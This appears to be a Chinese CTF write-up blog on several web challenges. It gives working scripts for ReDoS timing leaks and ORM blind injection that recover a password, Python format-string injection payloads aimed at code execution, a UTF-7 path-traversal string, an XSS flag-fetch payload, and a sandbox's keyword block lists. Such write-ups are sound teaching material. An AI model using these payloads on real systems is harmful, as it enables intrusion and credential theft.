  const files = fs.readdirSync(CODE_SAMPLES_DIR);
  files.forEach((file) => {
    filesIndex[file] = {
      visible: file !== "flag.txt",
      // invisible  看不见摸得着
      path: path.join(CODE_SAMPLES_DIR, file),
      name: file,
      language: LANG_MAP[path.extname(file)] || null,
    };
  });
  console.log(chalk.green("Initialized file index."));
}

// 1. 正常分配线程
function runSearchWorker(workerData, timeout = 5000) {
  return new Promise((resolvePromise, rejectPromise) => {
    const worker = new Worker(resolve(__dirname, "searchWorker.js"), {
      //调用searchworker.js的程序
      workerData, // 分配新的数据,包含visible: file !== 'flag.txt',的信息
    });

    worker.on("message", resolvePromise);
    worker.on("error", rejectPromise);
    worker.on("exit", (code) => {
      if (code !== 0) resolvePromise({ results: [] });
    });

    const timer = setTimeout(() => {
      // ▼▼▼▼▼ 这里添加了日志记录便于观察 ▼▼▼▼▼
      console.log(
        chalk.yellow(
          `[+] Worker timed out after ${timeout}ms. A ReDoS attack was likely triggered!`,
        ),
      );
      // ▲▲▲▲▲ 这里添加了日志记录便于观察 ▲▲▲▲▲
      worker.terminate().then(() => {
        resolvePromise({ results: [] });
      });
    }, timeout);

    worker.on("message", () => clearTimeout(timer));
    worker.on("error", () => clearTimeout(timer));
    worker.on("exit", () => clearTimeout(timer));
  });
}

Part B. searchWorker.js

// 3. 核心匹配逻辑
.map(([fileName, fileData]) => {
  // ...
  content = fs.readFileSync(fileData.path, 'utf-8');
  // ...。
  matchIndices = handleNormalSearch(content, searchTerm);
  // ...
  if (matchIndices.length === 0) return null;
  // ...
  const preview = generatePreview(content, matchIndices, PREVIEW_LENGTH);
  return preview ? { fileName, preview, language: fileData.language, visible: fileData.visible } : null;
})

// 4. 得到的结果被拦截
.filter(result => result !== null && result.visible);

整理一下:

后端搜索确实发生了：工作线程被赋予了搜索所有文件的权限，包括 flag.txt。
匹配确实成功了：工作线程成功地在 flag.txt 的内容中找到了搜索的字符串 “uoftctf{"。
结果在返回前被过滤：在将搜索结果打包送回给主线程之前，工作线程有一个最后的检查步骤。它会检查每一个匹配项对应的文件是否“可见”（visible: true）。由于 flag.txt 被标记为不可见，所以关于它的所有匹配结果都被悄悄地丢弃了。
你收到了空结果：最终，只收到了一个空的结果列表，就好像搜索从未找到过任何东西一样，尽管它在后台实际上是找到了的。

现在就简单了，只要他执行了匹配搜索功能，那就有机会触发 ReDos，现在的思路就是盲注，伪代码差不多是：

1
2

如果： 匹配到包含 "uoftctf{x" 的字符串
    执行ReDos引起卡顿

这种感觉。

如果用之前提到的 /^uoftctf{([\w\W]*)+#$/ ，会导致后面的字符余量不足，无法触发 ReDos，用这个 payload 写的脚本只能跑 7 个字符。我们需要在设计一种可以稳定引起卡顿的写法。这个地方优化了好几版效果都不怎么样，发现很多写法都会被引擎自动优化，实在不会写去借鉴了 WP 的思想。

官方 payload:

`1`	`/^(?=(uoftctf{)).............*!!!!!!!!!!!!$/`

官方 payload 提到了一个 (?=(xxx)) 的用法。

?= 是一个断言标记而不是匹配标记，可以在不消耗字符的情况下检查是否符合要求，检查完指针仍停留在最开始。

(?=(uoftctf{)) 检查之后会用 .*.*.*.*.*.*.*.*.*.*.*.*.* 匹配后面的字符最后在 ! 碰壁。

这个 payload 的时间损耗是固定的，原理和之前提到的 /^\/\/ redos-trigger:(a+)+b/ 一致。

ok，开始写脚本。

import re
import requests
import string
import time

URL = "http://localhost:3000/search"
CHARSET = string.ascii_lowercase + string.digits + "_-}{?"
TIMEOUT_THRESHOLD = 0.9

flag = "uoftctf{"
succeed = True

while '}' not in flag:

    isfound = False

    for char in CHARSET:

        guess = flag + char
        escaped_guess = re.escape(guess)  # 转义正则中的'{'
        payload = f"/^(?=({escaped_guess})).*.*.*.*.*.*.*.*.*.*.*.*.*!!!!!!!!!!!!$/"

        json_data = {"query": payload}

        print(f"[-]尝试{char}",end='\r')
        start_time=time.time()

        try:
            requests.post(URL, json_data, timeout = 1.1)
        except requests.exceptions.ReadTimeout:
            pass

        end_time = time.time()

        duration = end_time - start_time

        if duration > TIMEOUT_THRESHOLD:
            flag = flag + char
            isfound =True

            print(f"\n[*]找到了{char}")
            print(f"[*]现在的flag为{flag}\n")
            break

    if not isfound :
        succeed = False
        print(f"\n[*]出错了desuwa😭")
        break

if succeed:
    print(f"\n欧咩跌多😚 {flag}")
else:
    print(f"🙃{flag}")

3. prismatic-blogs

ai太好用了你们知道吗

这个题顺着 ai 的思路就写出来了。我要是有个 ai agent 让他自己拷打自己拷打完在自己写博客多好啊。

主要看两段代码:

漏洞触发点，裸奔的拼接

app.get(
  "/api/posts",
  // ...
      let posts = await prisma.post.findMany({where: query});
  // ...
);

漏洞可行依据，Post 本质是连接着他隔壁的 User 的，可以从上面的 Post 的漏洞把他连着的库拖出来。
1 2 3 4

model Post { ... author User @relation(fields: [authorId], references: [id]) ...

然后我一问这个漏洞，ai 就给我说盲注，那我还说啥了，直接让你写完事了呗。

各种数据库的查询语句有的时候会让人觉得强大的离谱，在配置完整的情况下，感觉人类能用语言描述的寻找方法他都能给你实现出来，当然这是我瞎说的。

看一下我实验的 payload

curl "http://127.0.0.1:3000/api/posts?author\[name\]\[startsWith\]=a" | jq
{
  "success": true,
  "posts": []
}

没报错就是成功了。

逻辑就是让 let posts = await prisma.post.findMany({where: query}); 在 Posts 表中通过 author 去访问隔壁 User 的 name 列，返回名字以 a 开头的人的 blog。

一个字符爆得出来那全部都能爆出来，同理密码也能爆，用这个思路让 ai 直接写脚本：

import requests
import string
import sys
import itertools

BASE_URL = "http://127.0.0.1:3000/api/posts"
CHARSET = string.ascii_letters + string.digits

def check_condition(params):
    try:
        response = requests.get(BASE_URL, params=params, timeout=5)
        response.raise_for_status()
        data = response.json()
        return data.get("success") and data.get("posts") and len(data["posts"]) > 0
    except (requests.exceptions.RequestException, ValueError):
        return False

def brute_force_letters(filter_key, filter_value, field_to_brute):
    found_value = ""
    field_name_to_display = field_to_brute.split('[')[1].replace(']', '')
    print(f"\n[*] 开始爆破 {field_name_to_display} 的字母构成...")

    while True:
        found_char_in_iteration = False
        for char in CHARSET:
            test_prefix = found_value + char

            params = {field_to_brute: test_prefix}
            if filter_key and filter_value:
                params[filter_key] = filter_value

            sys.stdout.write(f"\r[+] 正在尝试: {test_prefix}")
            sys.stdout.flush()

            if check_condition(params):
                found_value += char
                found_char_in_iteration = True
                break

        if not found_char_in_iteration:
            sys.stdout.write("\n")
            return found_value if found_value else None

def get_case_permutations(text):
    options = [(c.lower(), c.upper()) if c.isalpha() else (c,) for c in text]
    return [''.join(p) for p in itertools.product(*options)]

def main():
    print("--- 阶段一: 爆破用户名的字母构成 (大小写不敏感) ---")

    found_letters = brute_force_letters(None, None, 'author[name][startsWith]')

    if not found_letters:
        print("[!] 无法爆破出任何用户名。")
        return

    print(f"\n[SUCCESS] 成功找到用户名的字母构成: {found_letters}")

    print("\n--- 阶段二: 遍历大小写组合以爆破密码 ---")

    name_permutations = get_case_permutations(found_letters)
    correct_name = None
    found_password = None

    for name_attempt in name_permutations:
        print(f"\n[*] 尝试使用用户名: '{name_attempt}'")
        password_first_char = brute_force_letters('author[name]', name_attempt, 'author[password][startsWith]')

        if password_first_char:
            print(f"\n[SUCCESS] 正确的用户名是: '{name_attempt}'")
            correct_name = name_attempt
            found_password = password_first_char
            break

    if correct_name:
        print("\n--- 阶段三: 继续爆破密码剩余部分 ---")
        full_password = brute_force_letters('author[name]', correct_name, 'author[password][startsWith]')
        if full_password:
             print(f"\n[!!!] 最终成功 [!!!]")
             print(f"用户名: {correct_name}")
             print(f"密码: {full_password}")
    else:
        print(f"\n[!] 遍历完所有大小写组合，仍无法找到密码。")

    print("\n[*] 攻击完成。")

if __name__ == "__main__":
    main()

其实这个脚本是不完整的：

他爆出了 1 个人的信息就直接结束了，也没有处理多人名字首字母相同的情况，只是单人版的 demo。
而且因为这个数据库大小写不敏感，还要遍历密码的大小写 8axcgmish5zn59rsxjm 2^15 还可以接受，脚本不贴了。

但是这个出题人还挺好的，用第一个爆出来的 Bob 登陆就能直接拿到 flag，用 demo 拿到 flag 就不折腾了。

1
2
3

curl -X POST -H "Content-Type: application/json" -d "{\"name\":\"Bob\",\"password\":\"8AXCgMish5Zn59rSXjM\"}" http://127.0.0.1:3000/api/login

{"success":true,"posts":[{"id":2,"createdAt":"2025-01-05T03:07:29.597Z","updatedAt":"2025-01-05T03:07:29.597Z","published":true,"title":"Boosting Productivity with Time Blocking","body":"Struggling to get things done? Time blocking might be your answer. By dividing your day into focused chunks of work, you can minimize distractions and maximize efficiency. Start by identifying your most important tasks, assign specific time slots, and stick to them. Bonus tip: leave buffer time for unexpected interruptions. Time blocking isn’t just about scheduling—it’s about creating space for what truly matters.","authorId":2},{"id":4,"createdAt":"2025-01-05T03:07:29.597Z","updatedAt":"2025-01-05T03:07:29.597Z","published":true,"title":"How to Start Your Fitness Journey Today","body":"Getting fit can feel overwhelming, but it doesn’t have to be. Start small: commit to a 10-minute walk daily or try a beginner-friendly workout video. Focus on consistency over intensity. Remember, progress takes time, so celebrate small wins along the way. Your future self will thank you for taking that first step today!","authorId":2},{"id":6,"createdAt":"2025-01-05T03:07:29.597Z","updatedAt":"2025-01-05T03:07:29.597Z","published":true,"title":"5 Quick Ways to Declutter Your Space","body":"A cluttered space can lead to a cluttered mind. Here’s how to simplify:\n\nApply the “one in, one out” rule for new purchases.\nDedicate 10 minutes a day to tidying up.\nDonate items you haven’t used in a year.\nInvest in smart storage solutions.\nRemember: less is more.\nDecluttering isn’t just about cleaning—it’s about creating a space that inspires calm and focus.","authorId":2},{"id":11,"createdAt":"2025-01-05T03:07:29.597Z","updatedAt":"2025-01-05T03:07:29.597Z","published":false,"title":"The Flag","body":"This is a secret blog I am still working on. The secret keyword for this blog is uoftctf{u51n6_0rm5_d035_n07_m34n_1nj3c710n5_c4n7_h4pp3n}","authorId":2}]}⏎

写完去看官方脚本发现题目好像提供用户名了，因为我把 dist 文件删了所以也不知道具体有什么信息，就当没有数据库这个东西设计的脚本，另外官方用二分比较 gte 可以规避大小写不敏感的问题，写的时候光想着实现没去优化，因为我算法很差啊😭

prepared

到这个题如果不看WP基本就不可能做出来了，知识和经验太少了

一阶段

先看第一段有问题的代码

这段代码虽然我看不懂，但是我看完ai解析之后觉得对于看的懂的人而已这个写法应该是相当诡异的


def build_query(self):
    query = self.query_template

    #  初始扫描：第一次扫描模板，找到所有占位符。
    self.placeholders = self.get_all_placeholders(query)

    #  进入循环：只要 self.placeholders 列表不为空，就一直循环。
    while self.placeholders:

        #  确定目标：每次循环，只处理列表中的第一个占位符。
        key = self.placeholders[0]

        format_map = dict.fromkeys(self.placeholders, lambda _, k: f"{{{k}}}")
        for k in self.placeholders:
            if k in self.dirty_strings:
                if key == k:
                    format_map[k] = self.dirty_strings[k].get_value()

        query = query.format_map(type('FormatDict', (), {
            '__getitem__': lambda _, k: format_map[k] if isinstance(format_map[k], str) else format_map[k]("",k)
        })())

        # 致命步骤 - 重新扫描！
        self.placeholders = self.get_all_placeholders(query)

    # 8. 循环结束后，返回最终结果。
    return query

看一下过滤

`1`	`MALICIOUS_CHARS = ['"', "'", "\\", "/", "", "+" "%", "-", ";", "#", "(", ")", " ", ","] # " '' \ / + % - ; # ( ) " ,`

没有看见{},.和 []。(其实如果有经验的话看到过滤放过的这三个东西就知道考察的是什么了，但是我不知道，所以说黑名单也是hint吗🤔)

那用username = {password} password = aaa 推演一下就是

SELECT * FROM users WHERE username = ‘{username}’ AND password = ‘{password}’
SELECT * FROM users WHERE username = ‘{password}’ AND password = ‘{password}’
SELECT * FROM users WHERE username = ‘aaa’ AND password = ‘aaa’

相当于是费劲写了个漏洞，有点刻晴。

登陆来测试一下

在dockerfile 添加 ENV PYTHONUNBUFFERED=1 ，使用 docker logs -f prepared-1-container 2>&1 | grep -E "Sanitized query:|Error:" 查看执行效果

效果拔群。

但是写到这里也不知道有什么用，尝试了一些隐式转换什么的但是失败了，看了一眼WP发现了形如 "'": ("{password.__doc__[11]}", ""), 的东西，了解了是 Python 的内部属性 (internals)，这个我以前都没听说过，下面是ai的介绍：

Python 内部机制 (Python Internals)
Python 内部机制，通常简称为 Python Internals，指的是 Python 解释器（主要是指官方的 CPython 实现）在底层如何工作、管理数据和执行代码的实现细节。这与我们日常编写的、作为语言使用者的 Python 语法和标准库（即“语言规范”）是相对的。

可以把它想象成汽车的发动机：作为驾驶员，你只需要知道方向盘、油门和刹车（语言规范）；而作为机械师，你需要理解活塞、火花塞和传动系统（内部机制）是如何协同工作的。

了解内部机制对于绝大多数日常编程任务来说并非必需，但对于进行性能优化、高级调试、内存管理、编写 C 语言扩展以及理解某些安全漏洞的成因至关重要。

以下是 Python 内部机制的几个核心组成部分及其作用：

1. 数据模型：一切皆对象 (Everything is an Object)
这是 Python 最核心的设计哲学。在 Python 内部，我们接触到的所有东西——整数、字符串、列表、函数，甚至类和模块——都被实现为一个统一的对象结构。

是什么： 在 CPython 的 C 语言源码中，所有 Python 对象的基石是一个名为 PyObject 的结构体。它至少包含两个基本成员：

引用计数 (ob_refcnt): 用于自动内存管理的关键部分。

类型指针 (ob_type): 指向另一个描述该对象类型的对象（例如，整数对象的类型指针指向“整数类型”对象）。

有什么用：

动态类型： 因为所有东西都是 PyObject，一个变量可以随时指向任何类型的对象，Python 只需改变指针即可。

统一性： 任何对象都可以作为函数参数传递，或存储在列表和字典中，因为它们在底层有统一的结构。

2. 魔法方法 / Dunder 方法 (Magic/Dunder Methods)
这是 Python 允许用户代码与它的内部机制进行交互的主要“接口”。

是什么： 这些是以双下划线开头和结尾的特殊方法（Dunder = Double UNDERscore），例如 __init__、__add__、__getitem__。它们通常不会被我们直接调用，而是由 Python 解释器在执行特定操作时自动、隐式地调用。

有什么用： 它们能让你的自定义类“表现得”像 Python 的内置类型一样。

实用示例：

当执行 a + b 时，Python 内部会尝试调用 a.__add__(b)。

当执行 len(my_list) 时，Python 内部会调用 my_list.__len__()。

当执行 my_dict['key'] 时，Python 内部会调用 my_dict.__getitem__('key')。

当你创建一个类的实例时 MyClass()，Python 会自动调用 __new__ 来创建对象，然后调用 __init__ 来初始化它。

3. 特殊属性 (Special Attributes)
除了魔法方法，Python 对象还带有很多特殊的、通常是只读的属性，它们暴露了对象的内部状态和元数据。

是什么： 同样以双下划线或单下划线命名，它们提供了对象的“自我描述”信息。

有什么用： 它们是进行“元编程”（编写能操纵其他代码的代码）和“反射”（在运行时检查对象的类型和属性）的基础。

实用示例：

__doc__: 获取一个对象（函数、类、模块）的文档字符串 (docstring)。这是 Python 内置 help() 函数的信息来源。

__class__: 获取一个实例对象的类。例如 (123).__class__ 会返回 <class 'int'>。

__dict__: 一个字典，存储了一个对象（或类）所有可写的实例属性。你可以通过直接修改这个字典来动态地添加或删除对象的属性。

__globals__: (仅限函数) 一个字典，引用了函数定义时所在的全局命名空间。这使得函数可以访问到模块级别的变量。

4. 字节码与 Python 虚拟机 (Bytecode & PVM)
Python 是一门解释型语言，但这并不意味着它会逐行读取你的 .py 文件来执行。

是什么： 当你运行一个 Python 程序时，解释器首先会将你的源代码（.py）编译成一种更低级、更简单的中间形式，称为字节码。然后，这个字节码交由 Python 虚拟机 (PVM) 来执行。PVM 是一个循环，它一次读取一条字节码指令并执行相应的操作。

有什么用：

性能提升： 执行字节码比直接解释源代码要快得多。

可移植性： 只要一个平台有对应的 PVM，你的 Python 代码就可以不经修改地运行。.pyc 文件就是缓存的字节码，可以避免重复编译。

实用工具： Python 内置的 dis 模块可以让你查看任何函数的字节码，这对于深入理解代码的执行细节和进行性能分析非常有用。

总结：实用信息

内部机制核心概念对普通开发者的实用价值

对象模型 万物皆对象，底层有统一结构理解 Python 动态、灵活的特性，为什么函数可以像变量一样传递。

魔法方法 (__...__) 特定操作触发的隐式调用让你的自定义类支持 +、len()、for 循环等，编写出更“Pythonic”的代码。

特殊属性 (__doc__, etc.) 暴露对象内部状态和元数据在运行时动态地检查和修改对象的属性和行为（反射），编写更高级的工具和框架。

字节码 源代码编译后的中间语言使用 dis 模块分析代码性能瓶颈，理解 .pyc 文件的作用。

简而言之，Python 的内部机制就是它强大灵活性的基石。虽然它们隐藏在幕后，但通过魔法方法和特殊属性这些“钩子”，Python 赋予了开发者深入其核心、进行定制和扩展的强大能力。

有了这个信息后面怎么写就好办了。就比如用我在WP中看到的{password.__doc__[11]}可以得到Sanitized query: SELECT * FROM users WHERE username = ''' AND password = 'a'这个结果。

具体问题就是在payload通过过滤之后，在表达式拼接的过程中，当格式化引擎开始扫描字符串 "SELECT ... username = '{password.__doc__[11]}' AND password = '{password}'"时， Python 的 .format() / .format_map()把他给解析出来变成'了，这个过程和小北计算器的js解析绕过原理一样的。~~小北计算器还在追我tmd😡~~

password.__doc__[11]指的就是str.__doc__对应输出的第11个字符，我们可以在自己的python看到str.__doc__的输出，然后得到对应的解密本。

整理一下：

目标字符	首选索引	最终Payload片段
`(` (左括号)	3	`{password.__doc__[3]}`
`'` (单引号)	11	`{password.__doc__[11]}`
`)` (右括号)	13	`{password.__doc__[13]}`
(空格)	14	`{password.__doc__[14]}`
`-` (减号/连接符)	15	`{password.__doc__[15]}`
`,` (逗号)	42	`{password.__doc__[42]}`

然后可以尝试手动进行绕过了

已知flag位置和开头都是uoftctf用

1
2

username = {password.__doc__[11]}{password.__doc__[14]}OR{password.__doc__[14]}{password.__doc__[3]}SELECT{password.__doc__[14]}SUBSTRING{password.__doc__[3]}flag{password.__doc__[42]}1{password.__doc__[42]}1{password.__doc__[13]}{password.__doc__[14]}FROM{password.__doc__[14]}flags{password.__doc__[13]}={password.__doc__[11]}u{password.__doc__[11]}{password.__doc__[15]}{password.__doc__[15]}{password.__doc__[14]}
password = a

成功登陆就说明盲注成功，话说写的这几个题目全是盲注，我这个脚本也是拷打ai写出来的就不贴了，只看一下最终结果

二阶段

给我写红了

这个题目复现了很久，官方的脚本一直跑不出来，我发现利用链中的一个ctypes的模块没有直接导入，当时想的是setuptools这个库会包含题目要求的ctypes，而且一般也不会去怀疑wp的正确性，但事实上，当我在app.py中手动添加

`1`	`import ctypes`

之后脚本就跑通了，之前写wp都是一边写题一边总结，写得还挺有意思，这个题研究了这么久，学了很多东西，到最后总结了反而没什么想写的了

我之大概复盘一下我学到了什么

docker内部调试
python各种内部机制
反向shell程序写法
sql上传恶意程序

虽然卡着写不出来很坐牢，但是深入到底下就是纯粹的探索自己不知道的知识，感觉收获还是很大的

这里记录一个比较细节的，也是困扰我比较久的知识，这里给出我的测试代码:

import requests
import os
import re
import string

class MaliciousCharacterError(Exception):
    pass

class NonPrintableCharacterError(Exception):
    pass

class DirtyString:
    MALICIOUS_CHARS = ['"', "'", "\\", "/", "*", "+" "%", "-", ";", "#", "(", ")", " ", ","]

    def __init__(self, value, key):
        self.value = value
        self.key = key

    def __repr__(self):
        return self.get_value()

    def check_malicious(self):
        if not all(32 <= ord(c) <= 126 for c in self.value):
            raise NonPrintableCharacterError(f"Non-printable ASCII character found in '{self.key}'.")
        for char in self.value:
            if char in self.MALICIOUS_CHARS:
                raise MaliciousCharacterError(f"Malicious character '{char}' found in '{self.key}'")

    def get_value(self):
        self.check_malicious()
        return self.value

class QueryBuilder:
    def __init__(self, query_template, dirty_strings):
        self.query_template = query_template
        self.dirty_strings = {ds.key: ds for ds in dirty_strings}
        self.placeholders = self.get_all_placeholders(self.query_template)

    def get_all_placeholders(self, query_template=None):
        pattern = re.compile(r'\{(\w+)\}')
        return pattern.findall(query_template)

    def build_query(self):
        query = self.query_template
        self.placeholders = self.get_all_placeholders(query)

        while self.placeholders:
            key = self.placeholders[0]
            format_map = dict.fromkeys(self.placeholders, lambda _, k: f"{{{k}}}")

            for k in self.placeholders:
                if k in self.dirty_strings:
                    if key == k:
                        format_map[k] = self.dirty_strings[k].get_value()
                else:
                    format_map[k] = DirtyString

            query = query.format_map(type('FormatDict', (), {
                '__getitem__': lambda _, k: format_map[k] if isinstance(format_map[k], str) else format_map[k]("",k)
            })())

            self.placeholders = self.get_all_placeholders(query)

        return query


if __name__ == "__main__":
    password = "whatever"
  #  这里填写测试payload
    RCE_PAYLOAD = ("{Y}{Y.__init__.__globals__[os].sys.modules[string]}")

    try:
        du = DirtyString(RCE_PAYLOAD, 'username')
        dp = DirtyString(password, 'password')

        qb = QueryBuilder(
            "\nSELECT * FROM users WHERE username = '{username}' AND password = '{password}'\n",
            [du, dp]
        )

        final_query = qb.build_query()
        print(f" {final_query}")

    except (MaliciousCharacterError, NonPrintableCharacterError) as e:
        print(f"错误: {e}")
    except Exception as e:
        print(f"其他错误: {e}")

这串代码把题目源码中的核心逻辑提取然后加上自定义payload和更全面的错误显示，这段代码的测试payload很有意思：

`1`	`{Y}{Y.__init__.__globals__[os].sys.modules[string]}`

而且其他WP也没有讲，作为对比可以在python环境中手动测试:

$ python
Python 3.13.7 (main, Aug 15 2025, 12:34:02) [GCC 15.2.1 20250813] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import os
...
... class TestObj:
...     def __init__(self):
...         pass
...
... obj = TestObj()
...
... try:
...     result = "{Y.__init__.__globals__['os']}".format(Y=obj)
...     print(result)
... except Exception as e:
...     print(f"错误: {e}")
...
错误: "'os'"
>>> result = "{Y.__init__.__globals__[os]}".format(Y=obj)
>>> result
"<module 'os' (frozen)>"
>>> obj.__init__.__globals__[os]
Traceback (most recent call last):
  File "<python-input-3>", line 1, in <module>
    obj.__init__.__globals__[os]
    ~~~~~~~~~~~~~~~~~~~~~~~~^^^^
KeyError: <module 'os' (frozen)>
>>> obj.__init__.__globals__['os']
<module 'os' (frozen)>

在题目这个代码中{Y}就相当于a = MyObject()，但不同的是在python中直接解析a.__init__.__globals__[os].sys.modules[string]不能成功，因为 []应该添加的是一个字典的key，是字符串，而直接使用os会被当作一个对象来处理；而在这个题目的代码中，即使关掉了过滤器放行'，也只能使用 a.__init__.__globals__[os].sys.modules[string]，加'会报错其他错误: "'os'"

以下是gemini3的解释

这个现象的核心原因在于：Python 的 str.format() 方法（格式化字符串）解析 [] 的方式，与标准 Python 代码解析 [] 的方式完全不同。

简单来说，在 str.format() 的语法中，[] 里的内容会被直接当做字符串键名处理，而不会去计算它是不是一个变量，也不需要加引号。

下面详细解释这四个操作的区别：

1. 失败的格式化
1
2
"{Y.__init__.__globals__['os']}".format(Y=obj)
# 报错: KeyError: "'os'"
原因：

str.format() 的解析器看到 ['os']。

它会将方括号内的所有字符视为键名。

因此，它尝试在字典里查找的键是 "'os'"（包含了单引号的字符串）。

而在 __globals__ 字典里，键名是干净的 "os"，没有引号。

所以查找失败。

2. 成功的格式化
1
2
"{Y.__init__.__globals__[os]}".format(Y=obj)
# 成功: "<module 'os' (frozen)>"
原因：

str.format() 的解析器看到 [os]。

它将方括号内的字符 os 直接视为字符串键名 "os"。

注意：这里并没有去读取外部变量 os，它只是把这两个字母当成了文本键。

它在 __globals__ 字典里查找键 "os"，成功找到了对应的模块对象。

3. 失败的直接访问
1
2
obj.__init__.__globals__[os]
# 报错: KeyError: <module 'os' (frozen)>
原因：

这是标准的 Python 代码执行。

Python解释器会计算 [] 中的表达式。

os 是一个变量（之前 import 进来的模块对象）。

所以 Python 试图用模块对象本身作为键去字典里查找。

__globals__ 字典里的键全是字符串，不存在以模块对象为键的情况，所以报错。

4. 成功的直接访问
1
2
obj.__init__.__globals__['os']
# 成功
原因：

这是标准的 Python 代码执行。

'os' 是一个字符串字面量。

Python 用字符串 "os" 去查找，成功找到。

总结对照表

代码场景写法解析器理解的键 (Key) 结果

str.format() ...[os] "os" (字符串) ✅ 成功

str.format() ...['os'] "'os'" (带引号的字符串) ❌ 失败 (KeyError)

Python 代码 ...[os] <module 'os'> (对象) ❌ 失败 (KeyError)

Python 代码 ...['os'] "os" (字符串) ✅ 成功

补充知识： 如果你使用的是 f-string (Python 3.6+)，行为则会回归到标准 Python 代码逻辑，因为 f-string 是直接执行表达式：
1
2
3
# 如果是 f-string，必须加引号，和普通代码一样
f"{obj.__init__.__globals__['os']}"  # ✅ 成功
f"{obj.__init__.__globals__[os]}"    # ❌ 失败 (试图用对象做键)
你遇到的困惑正是因为旧式的 .format() 拥有自己的一套微型语法（Mini-Language），为了方便查字典，它规定 [key] 等同于 ["key"]。

我用之前贴的模拟代码发现题目环境给的库没办法实现这个payload的利用，之后更新了题目环境就过了，但我其实还是怀疑我是不是哪里做错了，要是有师傅知道原因的话麻烦告诉我，但我是真不想写这个题了喵

pointer overflow ctf

Thu, 06 Nov 2025 19:37:13 +0800

逛ctftime发现一个比赛连着开两个月，没事就打打，做不出来算了。另外，这个比赛的靶场竟然不是需要自己开启的容器，好神奇啊

1. All Paths Lead Home

这个签到题挺搞心态的。

进来看到一个读取文件的页面，默认的note.txt内容如下：

Welcome traveler.

Only text files are available here.

题目描述提示flag在/secret/下面,直接路径穿越，发现 ..和/被ban了。

随便输入点东西给出hint

This path doesn’t exist. If you’re experimenting with encodings, consult the docs.

Hint: legacy compatibility is documented at /docs/legacy.html.

跟进去看看

其实知道这个编码这个题就写出来了，就是get传参启动传统模式，然后换编码绕过黑名单，路径穿越读flag。

具体的绕过就是:

1
2

'.' -> +AC4- -> URL Encoded: %2BAC4-
'/' -> +AC8- -> URL Encoded: %2BAC8-

但是我做路径穿越的时候一直都习惯往上爬4，5层，感觉到顶了就都一样，结果一直读不到 /secret/flag.txt ，想了很多方向，试了一堆payload，结果最后 %2BAC4-%2BAC4-%2BAC8-secret%2BAC8-flag%2BAC4-txt成功了，就 ../secret/flag.txt 往上爬了一层。

后来ai告诉我说:

当输入（例如 ../../../../flag）被发送到服务器时，应用程序会先进行“规范化”处理，计算出最终的绝对路径。许多安全的应用程序会检查这个最终路径是否在允许的Web根目录之内。

应用程序的安全检查发现路径已经超出了预期的Web目录（例如 /var/www/），会直接拒绝请求。

HaHa, What can I say

2. This Must Be the Place

这个题干说filters are not enough，我想你要是挡完了我还做什么，然后fuzz了一下发现对很多字符都有反应，想了半天绕过方法结果 <script> alert(1); </script>直接成功了，仔细看代码把输入框给转了,我只能说这个出题人挺有活的。

然后直接fetch会404，结合hint，在payload中附带上tocken，因为这个tocken是在利用点之后生成的，所以需要setTimeout等一下。

小北计算器还在追我tmd 😡

完整payload:

<script>
  setTimeout(function() {
    fetch('/flag', {
      headers: {
        'X-FLAG-TOKEN': window.FLAG_TOKEN
      }
    })
    .then(response => response.text())
    .then(data => alert(data));
  }, 100);
</script>

geekgame 2025 小北计算器

Fri, 24 Oct 2025 17:04:06 +0800

geekgame 小北计算器战败复盘

题目分析

源码不全贴了,只贴三道防御。

首先是黑白双煞，白名单禁用了 . [] "" '' {} 等在js语法词汇，黑名单倒不是主要问题,有白名单限制,解开这些词也没法用

function checkSafetyRegex(code: string) {
  const whitelist = /^[a-zA-Z0-9_+\-*/%() ]+$/
  if (!whitelist.test(code)) {
    throw new Error('Bad Code (whitelist)')
  }
  const blacklist =
    /(eval|Function|__proto__|constructor|prototype|window|document|import|require|process|globalThis|self|global|this|module|exports|fetch|new|confirm|alert|prompt|%[0-9a-f]{2})/i
  if (blacklist.test(code)) {
    throw new Error('Bad Code (blacklist)')
  }
}

让后是ast检测，列了一大堆黑名单也算是提醒去找漏网之鱼

function checkSafeAST(code: string) {
  const ast = parser.parse(code, {     // 解析
    sourceType: 'script'
  })
  traverse.default(ast, {
    enter(path) {      // 遍历
      if (path.isStringLiteral()) {
        throw new Error('Bad Code (isStringLiteral)')
      }

<!-- 1.  `path.isStringLiteral()`: 禁止代码中出现字符串字面量（如 `'text'`），防止攻击者利用字符串拼接构造恶意载荷。 -->
<!-- 2.  `path.isThisExpression()`: 禁止使用 `this` 关键字，防止攻击者获取并操作当前的执行上下文对象。 -->
<!-- 3.  `path.isMemberExpression()`: 禁止访问对象的成员属性（如 `obj.prop` 或 `obj['prop']`），防止获取对象上的敏感方法或属性。 -->
<!-- 4.  `path.isOptionalMemberExpression()`: 禁止使用可选链操作符（如 `obj?.prop`），这也是一种成员访问方式。 -->
<!-- 5.  `path.isCallExpression()` 内的检查: 禁止调用对象的方法（如 `obj.method()`），只允许调用独立的全局函数。 -->
<!-- 6.  `path.node.leadingComments...` (检测注释): 禁止代码中包含任何形式的注释，防止利用注释隐藏绕过检测的载荷。 -->
<!-- 7.  `path.isObjectExpression()`: 禁止创建对象字面量（如 `{a: 1}`），限制数据结构的构造。 -->
<!-- 8.  `path.isObjectPattern()`: 禁止在变量声明或参数中使用对象解构模式。 -->
<!-- 9.  `path.isArrayExpression()`: 禁止创建数组字面量（如 `[1, 2]`），限制复杂数据的构造。 -->
<!-- 10. `path.isArrayPattern()`: 禁止在变量声明或参数中使用数组解构模式。 -->
<!-- 11. `path.isRestElement()`: 禁止使用剩余参数语法（`...arg`），防止收集参数。 -->
<!-- 12. `path.isSpreadElement()`: 禁止使用扩展运算符（`...arr`），防止展开数组或对象。 -->
<!-- 13. `path.isFunctionDeclaration()`: 禁止使用 `function` 声明定义新函数。 -->
<!-- 14. `path.isFunctionExpression()`: 禁止使用函数表达式定义新函数。 -->
<!-- 15. `path.isArrowFunctionExpression()`: 禁止使用箭头函数定义新函数。 -->
<!-- 16. `path.isClassDeclaration()`: 禁止定义类（class）。 -->
<!-- 17. `path.isClassExpression()`: 禁止使用类表达式。 -->
<!-- 18. `path.isNewExpression()`: 禁止使用 `new` 关键字来实例化对象。 -->
<!-- 19. `path.isIdentifier({ name: 'eval' })`: 明确禁止使用标识符 `eval`，防止动态执行字符串代码。 -->
<!-- 20. `path.isIdentifier({ name: 'Function' })`: 明确禁止使用 `Function` 构造器，防止它像 `eval` 一样执行代码。 -->
